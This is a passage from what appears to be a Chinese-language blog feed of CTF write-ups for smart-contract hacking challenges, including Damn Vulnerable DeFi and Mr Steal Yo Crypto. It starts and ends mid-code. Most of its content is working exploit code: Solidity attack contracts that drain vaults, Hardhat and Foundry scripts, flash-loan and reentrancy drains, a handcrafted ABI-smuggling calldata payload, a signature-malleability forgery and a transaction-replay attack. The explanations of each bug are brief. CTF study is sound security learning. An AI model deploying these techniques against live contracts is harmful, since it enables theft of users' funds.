abi.encodeWithSelector(UUPSUpgradeable.upgradeTo.selector,address(this)); target[4] = address(vaultProxyAddress); value[4] = 0; data[4] = abi.encodeWithSelector(attack.sweepFunds.selector); return (target,value,data); } function Apply() external{ ( address[] memory target, uint256[] memory value, bytes[] memory data ) = creation(); timelock.schedule(target, value, data, 0); } function play() external{ ( address[] memory target, uint256[] memory value, bytes[] memory data ) = creation(); timelock.execute(target, value, data, 0); } function sweepFunds() external { token.transfer(attacker,token.balanceOf(address(this))); } function _authorizeUpgrade(address newIm) internal override {}}</code></pre><h2 id="Wallet-Mining"><a href="#Wallet-Mining" class="headerlink" title="Wallet Mining"></a>Wallet Mining</h2><p>题目要我们取走一个空地址中的token。</p><p>首先发现要求我们要能够部署factory、mastercopy合约,且还要在同一个地址。但player很明显也不是链上创建者的地址。</p><p>其实这题的关键是重放攻击。</p><p>我们先从etherscan上找到raw data(more -> get Raw transaction Hash),随后在test/wallet-mining/wallet-mining.challenge.js中进行攻击。<br>此时,尽管是player假冒,但扣的依旧是victim的ETH。</p><pre><code>pragma solidity ^0.8.0;import "hardhat/console.sol";contract AttackWalletMining { function test() public { selfdestruct(payable(address(0))); } function proxiableUUID() external view returns (bytes32) { return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; } // Explanation of GAS code // TODO(0xth3g450pt1m1z0r) put some comments function can(address u, address a) public view returns (bool) { assembly { // AUthorizer Upgrader proxy address (mom) let m := sload(0) // Ensure m has code if iszero(extcodesize(m)) {return(0, 0)} // load free memory address at 0x40 into p let p := mload(0x40) // store [p + 0x44] at 0x40 to update free memory pointer mstore(0x40,add(p,0x44)) // store at p the sighash for the can() function in AuthorizeUpgrader mstore(p,shl(0xe0,0x4538c4eb)) // store at p + 0x04 the imp address mstore(add(p,0x04),u) // store at p + 0x24 the aim address mstore(add(p,0x24),a) // Static call the function and check return is > 0 if iszero(staticcall(gas(),m,p,0x44,p,0x20)) {return(0,0)} // Check return data size is NOT zero AND return data is 0 then return false 0 if and(not(iszero(returndatasize())), iszero(mload(p))) {return(0,0)} } return true; }}</code></pre><pre><code> const printPlayerTokenBalance = async () => { let bal = await token.balanceOf(player.address); log("Player balance = ", ethers.utils.formatEther(bal)) } const data = require("./data.json"); log("Player address is", player.address) const attackWalletDeployer = walletDeployer.connect(player); const attackAuthorizer = authorizer.connect(player); const tx = { to: data.REPLAY_DEPLOY_ADDRESS, value: ethers.utils.parseEther("1") } await player.sendTransaction(tx); const deploySafeTx = await (await ethers.provider.sendTransaction(data.DEPLOY_SAFE_TX)).wait(); const safeContractAddr = deploySafeTx.contractAddress; log("Replayed deploy Master Safe Copy at", safeContractAddr); const randomTx = await (await ethers.provider.sendTransaction(data.RANDOM_TX)).wait(); const deployFactoryTx = await (await ethers.provider.sendTransaction(data.DEPLOY_FACTORY_TX)).wait(); const factoryContractAddr = deployFactoryTx.contractAddress; log("Replayed deploy safe factory at", factoryContractAddr); const proxyFactory = await ethers.getContractAt("GnosisSafeProxyFactory", factoryContractAddr, player); const createInterface = (signature, methodName, arguments) => { const ABI = signature; const IFace = new ethers.utils.Interface(ABI); const ABIData = IFace.encodeFunctionData(methodName, arguments); return ABIData; } const safeABI = ["function setup(address[] calldata _owners, uint256 _threshold, address to, bytes calldata data, address fallbackHandler, address paymentToken, uint256 payment, address payable paymentReceiver)", "function execTransaction( address to, uint256 value, bytes calldata data, Enum.Operation operation, uint256 safeTxGas, uint256 baseGas, uint256 gasPrice, address gasToken, address payable refundReceiver, bytes calldata signatures)", "function getTransactionHash( address to, uint256 value, bytes memory data, Enum.Operation operation, uint256 safeTxGas, uint256 baseGas, uint256 gasPrice, address gasToken, address refundReceiver, uint256 _nonce)"]; const setupDummyABIData = createInterface(safeABI, "setup", [ [player.address], 1, ethers.constants.AddressZero, 0, ethers.constants.AddressZero, ethers.constants.AddressZero, 0, ethers.constants.AddressZero, ]) let nonceRequired = 0 let address = "" while (address.toLowerCase() != DEPOSIT_ADDRESS.toLowerCase()) { address = ethers.utils.getContractAddress({ from: factoryContractAddr, nonce: nonceRequired }); nonceRequired += 1; } log(`Need to deploy ${nonceRequired} proxies to get access to 20mil`); for (let i = 0; i < nonceRequired ; i ++) { await proxyFactory.createProxy(safeContractAddr, setupDummyABIData); } const tokenABI = ["function transfer(address to, uint256 amount)"]; const tokenABIData = createInterface(tokenABI, "transfer", [player.address, DEPOSIT_TOKEN_AMOUNT]); const depositAddrSafe = await ethers.getContractAt("GnosisSafe", DEPOSIT_ADDRESS, player); log("Version:", await depositAddrSafe.VERSION()); const transactionParams = [ token.address, 0, tokenABIData, 0, 0, 0, 0, ethers.constants.AddressZero, ethers.constants.AddressZero, 0 ]; const txhash = await depositAddrSafe.getTransactionHash(...transactionParams); const signed = await player.signMessage(ethers.utils.arrayify(txhash)); const signedIncreaseV = ethers.BigNumber.from(signed).add(4).toHexString(); log("Executing signed tx to transfer all tokens to player address"); await depositAddrSafe.execTransaction(...(transactionParams.slice(0, -1)), signedIncreaseV); await printPlayerTokenBalance() const impSlot = "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"; let implementationAddress = "0x" + (await ethers.provider.getStorageAt(attackAuthorizer.address, impSlot)).slice(-40); const impContract = await ethers.getContractAt("AuthorizerUpgradeable", implementationAddress, player); log("Deploying attacking contract"); const attackContractFactory = await ethers.getContractFactory("AttackWalletMining", player); const attackContract = await attackContractFactory.deploy(); const attackABI = ["function test()"]; const IAttack = createInterface(attackABI, "test", []); log("Claiming ownership of implementation contract and upgrading to attacking contract"); await impContract.init([], []); await impContract.upgradeToAndCall(attackContract.address, IAttack); log("Deploying 43 proxies through Deployer and collecting tokens") for (let i = 0; i < 43; i ++) { await (await attackWalletDeployer.drop(setupDummyABIData)).wait(); } await printPlayerTokenBalance()</code></pre><p>这题我也不太懂,题解是抄一大佬的。</p><h2 id="Puppet-v3"><a href="#Puppet-v3" class="headerlink" title="Puppet v3"></a>Puppet v3</h2><p>Uniswap V3 采用TWAP(加权平均算法)。即随着时间比重算出加权后的价格。所以很明显,在同一笔交易内是不可能完成的了。</p><p>TWAP并不能防止“砸盘”,之所以能有效防止价格操纵,是因为随着时间的增加,进入了多人博弈。但在题中只有player。</p><pre><code> /** CODE YOUR SOLUTION HERE */ const log = console.log; const attackPool = await uniswapPool.connect(player); const attackLendingPool = await lendingPool.connect(player); const attackToken = await token.connect(player); const attackWeth = await weth.connect(player); const logBalances = async (name, address) => { const dvt_bal = await attackToken.balanceOf(address); const weth_bal = await weth.balanceOf(address); const eth_bal = await ethers.provider.getBalance(address); log(`Logging balance of ${name}`); log('DVT:', ethers.utils.formatEther(dvt_bal)) log('WETH:', ethers.utils.formatEther(weth_bal)) log('ETH:', ethers.utils.formatEther(eth_bal)) log('') }; await logBalances("Player", player.address) const getQuote = async(amount, print=true) => { const quote = await attackLendingPool.calculateDepositOfWETHRequired(amount); if (print) log(`Quote of ${ethers.utils.formatEther(amount)} DVT is ${ethers.utils.formatEther(quote)} WETH`) return quote } const uniswapRouterAddress = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"; log(`Connecting to uniswap router at mainnet address ${uniswapRouterAddress}`) const uniswapRouter = new ethers.Contract(uniswapRouterAddress, routerJson.abi, player); log("Approving all player tokens to be taken from the uniswap router"); await attackToken.approve(uniswapRouter.address, PLAYER_INITIAL_TOKEN_BALANCE); log("Swapping all player tokens for as much WETH as possible."); await uniswapRouter.exactInputSingle( [attackToken.address, weth.address, 3000, player.address, PLAYER_INITIAL_TOKEN_BALANCE, // 110 DVT TOKENS 0, 0], { gasLimit: 1e7 } ); await logBalances("Player", player.address) await logBalances("Uniswap Pool", attackPool.address) log("Increasing block time by 100 seconds") await time.increase(100); log("Getting new quote and approving lending pool for transfer"); const quote = await getQuote(LENDING_POOL_INITIAL_TOKEN_BALANCE); await attackWeth.approve(attackLendingPool.address, quote); log("Borrowing funds"); await attackLendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE); await logBalances("Player", player.address); await logBalances("Lending Pool", attackLendingPool.address)</code></pre><h2 id="ABI-Smuggling"><a href="#ABI-Smuggling" class="headerlink" title="ABI Smuggling"></a>ABI Smuggling</h2><p>通过阅读合约发现想窃取vault中的资金,只能通过sweepFunds方法,而想使用sweepFunds方法只能通过execute方法。那么漏洞很明显存在于execute方法中。</p><pre><code>//deployer调用sweepFundsconst deployerPermission = await vault.getActionId('0x85fb709d', deployer.address, vault.address);//player调用withdraw;const playerPermission = await vault.getActionId('0xd9caed12', player.address, vault.address);</code></pre><p>在调用execute时,callData为</p><pre><code>//4 bytes Selector//0x00target//0x20actiondata location//0x40actiondata length//0x60actiondata contens</code></pre><p>execute中采用硬编码的方式得到selector,那我们为什么不对calldata动一些手脚呢?</p><pre><code>0x1cff79cd // execute000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512 // address(target)0000000000000000000000000000000000000000000000000000000000000080 // actiondata location 指向0x800000000000000000000000000000000000000000000000000000000000000000 // 随意d9caed1200000000000000000000000000000000000000000000000000000000 // withdraw0000000000000000000000000000000000000000000000000000000000000044 // actiondata length // actiondata contens85fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3s</code></pre><pre><code>const attackVault = await vault.connect(player);const attackToken = await token.connect(player);const executeFs = vault.interface.getSighash("execute")const target = ethers.utils.hexZeroPad(attackVault.address, 32).slice(2);const bytesLocation = ethers.utils.hexZeroPad("0x80", 32).slice(2); const withdrawSelector = vault.interface.getSighash("withdraw").slice(2);const bytesLength = ethers.utils.hexZeroPad("0x44", 32).slice(2)const sweepSelector = vault.interface.getSighash("sweepFunds").slice(2);const sweepFundsData = ethers.utils.hexZeroPad(recovery.address, 32).slice(2) + ethers.utils.hexZeroPad(attackToken.address, 32).slice(2) const payload = executeFs + target + bytesLocation + ethers.utils.hexZeroPad("0x0", 32).slice(2) + withdrawSelector + ethers.utils.hexZeroPad("0x0", 28).slice(2) + bytesLength + sweepSelector + sweepFundsData;</code></pre>]]></content>
</entry>
<entry>
<title>Mr Steal Yo Crypto-上</title>
<link href="/2023/03/09/Mr%20Steal%20Yo%20Crypto-%E4%B8%8A/"/>
<url>/2023/03/09/Mr%20Steal%20Yo%20Crypto-%E4%B8%8A/</url>
<content type="html"><;addresses[0] = attacker;data = abi.encodeWithSignature("initWallet(address[],uint256,uint256)", addresses, 1, type(uint).max);address(safuWalletLibrary).call(data);data = abi.encodeWithSignature("kill(address)", address(attacker));address(safuWalletLibrary).call(data);</code></pre><h2 id="Tasty-Stake"><a href="#Tasty-Stake" class="headerlink" title="Tasty Stake"></a>Tasty Stake</h2><p>这题和Safu Vault的漏洞相似。migrateStake()方法意在将旧的TastyStaking合约中的STEAK和reward代币转移到本合约上。<br>但未对外部调用审查。</p><p>因此我们可以创建一个有migrateWithdraw()方法的合约。</p><pre><code>contract Attack { address owner; TastyStaking _tastyStaking; Token stakingToken; constructor(address _target, address _stakingToken) { attacker = msg.sender; _tastyStaking = TastyStaking(_target); stakingToken = Token(_stakingToken); } function migrateWithdraw(address staker, uint256 amount) external { } function pwn() external { _tastyStaking.migrateStake(address(this), stakingToken.balanceOf(address(_tastyStaking))); _tastyStaking.withdrawAll(false); stakingToken.transfer(attacker, stakingToken.balanceOf(address(this))); }}</code></pre><h2 id="Freebie"><a href="#Freebie" class="headerlink" title="Freebie"></a>Freebie</h2><p>额,这题与Tasty Stake的漏洞一模一样。</p><pre><code>contract Attack { Token farm; GovToken govToken; RewardsAdvisor rewardsAdvisor; address attacker; constructor(address _target, address _farm, address _xfarm) { farm = Token(_farm); govToken = GovToken(_xfarm); rewardsAdvisor = RewardsAdvisor(_target); attacker = msg.sender; } function delegatedTransferERC20(address token, address to, uint256 amount) external { } function pwn(address _target) external { uint256 amount = govToken.balanceOf(address(_target)) * uint256(10000) / uint256(1); rewardsAdvisor.deposit(amount, payable(address(this)), address(this)); rewardsAdvisor.withdraw(govToken.balanceOf(address(this)), attacker, payable(address(this))); }}</code></pre><h2 id="NFT-Bonanza"><a href="#NFT-Bonanza" class="headerlink" title="NFT Bonanza"></a>NFT Bonanza</h2><pre><code> vm.prank(admin); nftA = new Nft721('APES','APES'); vm.prank(admin); nftB = new Nft721('ApEs','ApEs');</code></pre><p>可以看到我们要盗取的NFT皆为NFT721。</p><p>我们观察buyItem()方法,它有很大的漏洞,当我们买NFT721,即使 _quantity为0,我们依然能得到。因为与_quantity无关。</p><pre><code>IERC721(_nftAddress).safeTransferFrom(_owner, _msgSender(), _tokenId);</code></pre><pre><code> /// solves the challenge function testChallengeExploit() public { vm.startPrank(attacker,attacker); bonanzaMarketplace.buyItem(address(nftA),0,adminUser,0); bonanzaMarketplace.buyItem(address(nftB),0,adminUser,0); vm.stopPrank(); validation(); }</code></pre><h2 id="Inflationary-Net-Worth"><a href="#Inflationary-Net-Worth" class="headerlink" title="Inflationary Net Worth"></a>Inflationary Net Worth</h2><pre><code>// Deposit LP tokens to MasterChef for MUNY allocation.function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accMunyPerShare).div(1e12).sub(user.rewardDebt); safeMunyTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accMunyPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount);}// Withdraw without caring about rewards. EMERGENCY ONLY.function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0;}</code></pre><p>很明显,在deposite与withdraw方法中,并未将销毁5%计算在内。</p><pre><code>// solves the challengefunction testChallengeExploit() public { vm.startPrank(attacker, attacker); //减少 MasterChef 内的 lpSupply,直到我们无法提取存入的金额 bool first = true; uint count; uint amount; while (mula.balanceOf(address(masterChef)) > amount || first) { if (first) { first = false; } else { masterChef.emergencyWithdraw(0); console.log("balance attacker - withdraw: ", mula.balanceOf(address(attacker))); console.log("balance masterChef - withdraw: ", mula.balanceOf(address(masterChef))); } masterChef.deposit(0, mula.balanceOf(address(attacker))); ++count; } masterChef.withdraw(0, mula.balanceOf(address(masterChef)) - 1); vm.stopPrank(); validation();}</code></pre><h2 id="Governance-Shenanigans"><a href="#Governance-Shenanigans" class="headerlink" title="Governance Shenanigans"></a>Governance Shenanigans</h2><p>_delegate()和_moveDelegates()的逻辑很奇怪,即使金额为0,我们也能更新 _delegates[delegator]。并且操作后token依然是delegator的。</p><p>那么一个账户给attacker进行delegate后,可以将token转到其它账户中,这样就可以在钱转回来后再次为attacker进行delegate。</p><pre><code>// solves the challengefunction testChallengeExploit() public { vm.startPrank(attacker); governanceToken.transfer(o1, governanceToken.balanceOf(attacker)); vm.stopPrank(); for (uint i; i < 3; ++i) { vm.startPrank(o1); governanceToken.delegate(attacker); governanceToken.transfer(o2, governanceToken.balanceOf(o1)); governanceToken.delegate(address(0)); vm.stopPrank(); vm.startPrank(o2); governanceToken.delegate(attacker); governanceToken.transfer(o1, governanceToken.balanceOf(o2)); governanceToken.delegate(address(0)); vm.stopPrank(); } vm.startPrank(o1); governanceToken.transfer(attacker, governanceToken.balanceOf(o1)); vm.stopPrank(); validation();}</code></pre>]]></content>
</entry>
<entry>
<title>Mr Steal Yo Crypto-下</title>
<link href="/2023/03/09/Mr%20Steal%20Yo%20Crypto-%E4%B8%8B/"/>
<url>/2023/03/09/Mr%20Steal%20Yo%20Crypto-%E4%B8%8B/</url>
<content type="html"><![CDATA[<h1 id="Mr-Steal-Yo-Crypto-下"><a href="#Mr-Steal-Yo-Crypto-下" class="headerlink" title="Mr Steal Yo Crypto-下"></a>Mr Steal Yo Crypto-下</h1><h2 id="Bonding-Curve"><a href="#Bonding-Curve" class="headerlink" title="Bonding Curve"></a>Bonding Curve</h2><p>BancorBondingCurve.sol</p><p>这个合约用来表示债券曲线。</p><p>EminenceCurrencyHelpers.sol</p><p>这个合约中的ContinuousToken合约时核心,用来实现代币。</p><p>EminenceCurrencyBase.sol</p><p>这个合约为EMN ERC20。它有用DAI购买或出售EMN代币的方法。当出售EMN代币时,合约会先销毁EMN代币。</p><p>EminenceCurrency.sol</p><p>这个合约为TOKEN ERC20。它有用EMN购买或出售TOKEN代币的方法。当出售TOKEN代币时,合约会先销毁TOKEN代币。与EminenceCurrencyBase.sol不同的是购买TOKEN时是调用EMN的claim()方法。</p><p>这意味着EminenceCurrency的变化似乎会影响EminenceCurrencyBase的债券曲线,但反之则不然。那么当我们购买TOKEN时,会导致DAI/EMN下降。这时我们可以出售手中的EMN套利,但不影响EMN/TOKEN。</p><pre><code>contract Exploit{ address owner; IUniswapV2Pair uniPair; IWETH weth; Token usdc; Token dai; IEminenceCurrency eminenceCurrencyBase; IEminenceCurrency eminenceCurrency; constructor(address _dai, address _eminenceCurrencyBase, address _eminenceCurrency, address _uniPair ){ owner = msg.sender; dai = Token(_dai); eminenceCurrencyBase = IEminenceCurrency(_eminenceCurrencyBase); eminenceCurrency = IEminenceCurrency(_eminenceCurrency); uniPair = IUniswapV2Pair(_uniPair); } function uniswapV2Call(address _address,uint amount0Out,uint amount1Out, bytes memory data) external { uint256 daiAmount = dai.balanceOf(address(this)); dai.approve(address(eminenceCurrencyBase), type(uint).max); eminenceCurrencyBase.approve(address(eminenceCurrency), type(uint).max); eminenceCurrencyBase.buy(daiAmount, 0); uint256 eminenceCurrencyBaseAmount = eminenceCurrencyBase.balanceOf(address(this)); uint256 amount_ = eminenceCurrencyBaseAmount / 2; eminenceCurrency.buy(amount_, 0); eminenceCurrencyBase.sell(amount_, 0); uint256 eminenceCurrencyAmount = eminenceCurrency.balanceOf(address(this)); eminenceCurrency.sell(eminenceCurrencyAmount, 0); eminenceCurrencyBaseAmount = eminenceCurrencyBase.balanceOf(address(this)); eminenceCurrencyBase.sell(eminenceCurrencyBaseAmount, 0); dai.transfer(address(uniPair), (amount1Out * 103 / 100) + 1); dai.transfer(owner, dai.balanceOf(address(this))); } function pwn() external { uniPair.swap(0, 999_999e18, address(this), new bytes(1)); }}</code></pre><h2 id="Flash-Loaner"><a href="#Flash-Loaner" class="headerlink" title="Flash Loaner"></a>Flash Loaner</h2><p>通常,当合约有闪电贷功能时,要有一个重入检查,防止使用协议内的金额。但这个合约没有。</p><p>那么我们就能闪贷一资金,再deposit(),这样我们只要付一点手续费就能得到巨额的share token。</p><pre><code>contract Attack { FlashLoaner flashLoaner; Token usdc; IUniswapV2Pair uniPair; address private attacker; constructor(address _target, address _usdc, address _uniPair){ flashLoaner = FlashLoaner(_target); usdc = Token(_usdc); uniPair = IUniswapV2Pair(_uniPair); attacker = msg.sender; usdc.approve(address(flashLoaner), type(uint).max); } function flashCallback(uint256 fee, bytes calldata data) external { flashLoaner.deposit(100_000e18, address(this)); usdc.transfer(address(flashLoaner), fee); } function uniswapV2Call(address _address, uint amount0Out, uint amount1Out, bytes memory data) external { flashLoaner.flash(address(this), usdc.balanceOf(address(flashLoaner)) - 1, new bytes(0)); flashLoaner.redeem(flashLoaner.balanceOf(address(this)), address(this), address(this)); usdc.transfer(address(uniPair), (amount0Out * 103 / 100) + 1); } function pwn() external { uniPair.swap(10_000e18, 0, address(this), new bytes(1)); usdc.transfer(attacker, usdc.balanceOf(address(this))); }}</code></pre><h2 id="Safu-Swapper"><a href="#Safu-Swapper" class="headerlink" title="Safu Swapper"></a>Safu Swapper</h2><p>safu Pool在添加流动性用的baseAmount,tokenAmount计算,移除流动性时却用amount = IERC20(token).balanceOf(pool);<br>而且在我们以transfer转入代币时合约不会更新baseAmount,tokenAmount。</p><pre><code>pragma solidity ^0.8.4;import {console} from "forge-std/console.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";interface IUniswapV2Pair { function swap( uint amount0Out, uint amount1Out, address to, bytes calldata data ) external;}interface ISafuPool { function addLiquidity(uint256 _baseAmount, uint256 _tokenAmount) external returns (uint); function swap(address toToken, uint256 amount) external returns (uint); function removeAllLiquidity() external returns (uint, uint); function approve(address, uint256) external returns (bool); function balanceOf(address addr) external returns (uint256); function totalSupply() external returns (uint256);}contract Attack { IUniswapV2Pair pair; ISafuPool safuPool; IERC20 usdc; IERC20 safu; function attack( address _uniswapPair, address _safuPool, address _usdc, address _safu, uint256 amount ) external { pair = IUniswapV2Pair(_uniswapPair); safuPool = ISafuPool(_safuPool); usdc = IERC20(_usdc); safu = IERC20(_safu); usdc.approve(address(safuPool),type(uint256).max); safu.approve(address(safuPool),type(uint256).max); pair.swap(amount,0,address(this),bytes('not empty')); } function uniswapV2Call( address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data ) external { for (uint i=0; i<5; ++i) { safuPool.swap(address(safu),8_000*1e18); } uint256 safuAmount = safu.balanceOf(address(this)); safuPool.addLiquidity(safuAmount, safuAmount); uint t = safuPool.balanceOf(address(this)); console.log("My lp :", t); t = safuPool.totalSupply(); console.log("My lp :", t); for (uint i=0; i<5; ++i) { safuPool.swap(address(safu),8_000*1e18); } safuAmount = safu.balanceOf(address(this)); safu.transfer(address(safuPool),safuAmount); usdc.transfer(address(safuPool),600_000*1e18); safuPool.removeAllLiquidity(); safuPool.addLiquidity(0,0); safuPool.removeAllLiquidity(); uint256 amountPerRound = safu.balanceOf(address(this)) for (uint i=0; i<10; ++i) { safuPool.swap(address(usdc), amountPerRound); } uint256 loanPlusInterest = (_amount0*(10**18)*1000/997/(10**18))+1; usdc.transfer(msg.sender,loanPlusInterest); usdc.transfer(tx.origin,usdc.balanceOf(address(this))); }}</code></pre><h2 id="Side-Entrance"><a href="#Side-Entrance" class="headerlink" title="Side Entrance"></a>Side Entrance</h2><p>合约为了方便期权买家去行使期权,提供了Uniswap闪电贷,但是合约并未对pair审查。与Free Lunch一样我们为什么不建一个Mytoken(受我们控制)-usdc的Pool呢?</p><pre><code>contract Exploit { address owner; Token MyToken; Token usdc; IUniswapV2Factory uniFactory; IUniswapV2Router02 uniRouter; IUniswapV2Pair usdcMyTokenPair; IUniswapV2Pair usdcDaiPair; CallOptions optionsContract; constructor(address attacker, address _optionsContract, address _factory, address _router, address _usdc, address _usdcDaiPair) { owner = attacker; optionsContract = CallOptions(_optionsContract); MyToken = new Token('My ', 'My '); MyToken.mint(address(this), 1_000_000e18); uniRouter = IUniswapV2Router02(_router); uniFactory = IUniswapV2Factory(_factory); usdcDaiPair = IUniswapV2Pair(_usdcDaiPair); usdc = Token(_usdc); usdc.approve(address(uniRouter), type(uint).max); MyToken.approve(address(uniRouter), type(uint).max); } function uniswapV2Call(address _address, uint amount0Out, uint amount1Out, bytes memory data) external { uniRouter.addLiquidity(address(usdc), address(MyToken), usdc.balanceOf(address(this)), MyToken.balanceOf(address(this)), 0, 0, address(this), block.timestamp); usdcMyTokenPair = IUniswapV2Pair(uniFactory.getPair(address(usdc), address(MyToken))); address to = abi.decode(data, (address)); bytes32 optionId = optionsContract.getLatestOptionId(); uint256 interestAmount = usdc.balanceOf(address(to)); bytes memory _calldata = abi.encode(optionId, to, interestAmount); usdcMyTokenPair.swap(2_100e18, 0, address(optionsContract), _calldata); usdcMyTokenPair.approve(address(uniRouter), type(uint).max); uniRouter.removeLiquidity(address(usdc), address(MyToken), usdcMyTokenPair.balanceOf(address(this))-1, 0, 0, address(this), block.timestamp); usdc.transfer(address(usdcDaiPair), (amount0Out * 103 / 100) + 1); usdc.transfer(owner, usdc.balanceOf(address(this))); } function pwn(address target) external { bytes memory _calldata = abi.encode(target); usdcDaiPair.swap(3_000e18, 0, address(this), _calldata); }}</code></pre><h2 id="Malleable"><a href="#Malleable" class="headerlink" title="Malleable"></a>Malleable</h2><p>本题需要你对圆锥曲线算法有一定的了解。</p><p>简单来说就是r,s代表曲线上一点,r为x坐标,s为y坐标。但由于对称,s可为正负。<br>这时用v来判断这一点在1,2象限还是3,4象限。</p><pre><code> /// solves the challenge function testChallengeExploit() public { vm.startPrank(attacker,attacker); uint8 v_ = v == 27 ? 28 : 27; bytes32 s_ = bytes32( uint256(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141) - uint256(s) ); treasureVault.sendFundsWithAuth(1e18,0,v_,r,s_); vm.stopPrank(); validation(); }</code></pre><h2 id="Extractoor"><a href="#Extractoor" class="headerlink" title="Extractoor"></a>Extractoor</h2><p>通过阅读合约,发现只有withdrawTokens(),finalize(),commitEth()能转移ETH,其中withdrawTokens(),finalize()只有owner才能调用。似乎我只有commitEth()可用。</p><p>commitEth()用来接收保证金,并退多的。</p><p>当合约使用msg.value计算时,要防止被循环调用。但很遗憾这个没有做到。它为我们提供了一个循环调用的方法multicall()。</p><pre><code>/// solves the challengefunction testChallengeExploit() public { vm.startPrank(attacker, attacker); bytes memory call = abi.encodeWithSignature("commitEth(address)", attacker); bytes[] memory _data = new bytes[](11); for (uint i; i < 11; i++) { _data[i] = call; } dutchAuction.multicall{value: 100e18}(_data); vm.stopPrank(); validation();}</code></pre><h2 id="Opyn-Sesame"><a href="#Opyn-Sesame" class="headerlink" title="Opyn Sesame"></a>Opyn Sesame</h2><p>OptionsContract.sol </p><p>它实现了OptionLogic.sol的逻辑。</p><p>OptionsMarket.sol </p><p>期权市场,用来实现购买期权的功能。</p><p>OptionLogic.sol</p><p>编写了构造期权,使用期权的逻辑功能。</p><p>发现了吗?为了方便,它用exercise()去打包实现_exercise()。它犯了与Extractoor一样的错误!</p><pre><code>// solves the challengefunction testChallengeExploit() public { vm.startPrank(attacker, attacker); usdc.approve(address(optionsMarket), 500e18); optionsMarket.purchase(5e18); optionsContract.exercise{value: 1 ether}(5e18, addresses); vm.stopPrank(); validation();}</code></pre><h2 id="Degen-Jackpot"><a href="#Degen-Jackpot" class="headerlink" title="Degen Jackpot"></a>Degen Jackpot</h2><p>当我们通过depositAdditionalToFNFT()方法去创建新NFT是NFT的id是在我们输入的id上加1,这是一个错误的手段,<br>因为它可能不是创建新NFT,而是已有的。这会导致已有的NFT价格改变。</p><pre><code>contract RevestExploiter is ERC1155Receiver { IERC20 gov; IRevest revest; address attacker; bool triggerCallback; constructor(address revestAddress, address govAddress) { revest = IRevest(revestAddress); attacker = msg.sender; gov = IERC20(govAddress); gov.approve(revestAddress, 1e18); } function setTrigger(bool _trigger) external { triggerCallback = _trigger; } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external override returns (bytes4) { if (triggerCallback) { triggerCallback=false; revest.depositAdditionalToFNFT(1, 1e18, 1); revest.withdrawFNFT(2, 100_001); gov.transfer(attacker,gov.balanceOf(address(this))); } return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external override returns (bytes4) { return bytes4(0); }}</code></pre><pre><code>/// solves the challenge function testChallengeExploit() public { vm.startPrank(attacker,attacker); RevestExploiter exploiter = new RevestExploiter(address(revest),address(gov)); address[] memory recipients = new address[](1); recipients[0]=address(exploiter); uint256[] memory quantities = new uint256[](1); quantities[0]=2; bytes memory arguments; IRevest.FNFTConfig memory fnftConfig; fnftConfig.asset = address(gov); revest.mintAddressLock( address(exploiter), arguments, recipients, quantities, fnftConfig ); gov.transfer(address(exploiter),1e18); exploiter.setTrigger(true); quantities[0]=100_001; revest.mintAddressLock( address(exploiter), arguments, recipients, quantities, fnftConfig ); vm.stopPrank(); validation(); }</code></pre><h2 id="Fatality"><a href="#Fatality" class="headerlink" title="Fatality"></a>Fatality</h2><h2 id="Safu-Lender"><a href="#Safu-Lender" class="headerlink" title="Safu Lender"></a>Safu Lender</h2><p>首先让我们了解一ERC777与ERC20的差异。当在ERC20中transfer与mint会给与caller去操作的空间。</p><p>显然当使用ERC777要保证caller可信,与先改变状态再执行的模式。</p><pre><code> err = doTransferOut(asset, msg.sender, localResults.withdrawAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED); } // Save market updates market.blockNumber = getBlockNumber(); market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = supplyBalance.principal; supplyBalance.principal = localResults.userSupplyUpdated; supplyBalance.interestIndex = localResults.newSupplyIndex;</code></pre><p>很遗憾的是,此合约并没有做到。那我们可以进行重入攻击。</p><pre><code>contract Attack { address owner; IUniswapV2Pair usdcBtcPair; IWETH weth; Token usdc; Token777 wbtc; IMoneyMarket moneyMarket; constructor(address _wbtc, address _moneyMarket, address _usdcBtcPair) { owner = msg.sender; wbtc = Token777(_wbtc); moneyMarket = IMoneyMarket(_moneyMarket); usdcBtcPair = IUniswapV2Pair(_usdcBtcPair); wbtc.approve(address(moneyMarket), type(uint).max); wbtc.approve(address(usdcBtcPair), type(uint).max); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function uniswapV2Call(address _address, uint amount0Out, uint amount1Out, bytes memory data) external { uint256 wbtcAmount = wbtc.balanceOf(address(this)); moneyMarket.supply(address(wbtc), amount1Out); moneyMarket.withdraw(address(wbtc), amount1Out); 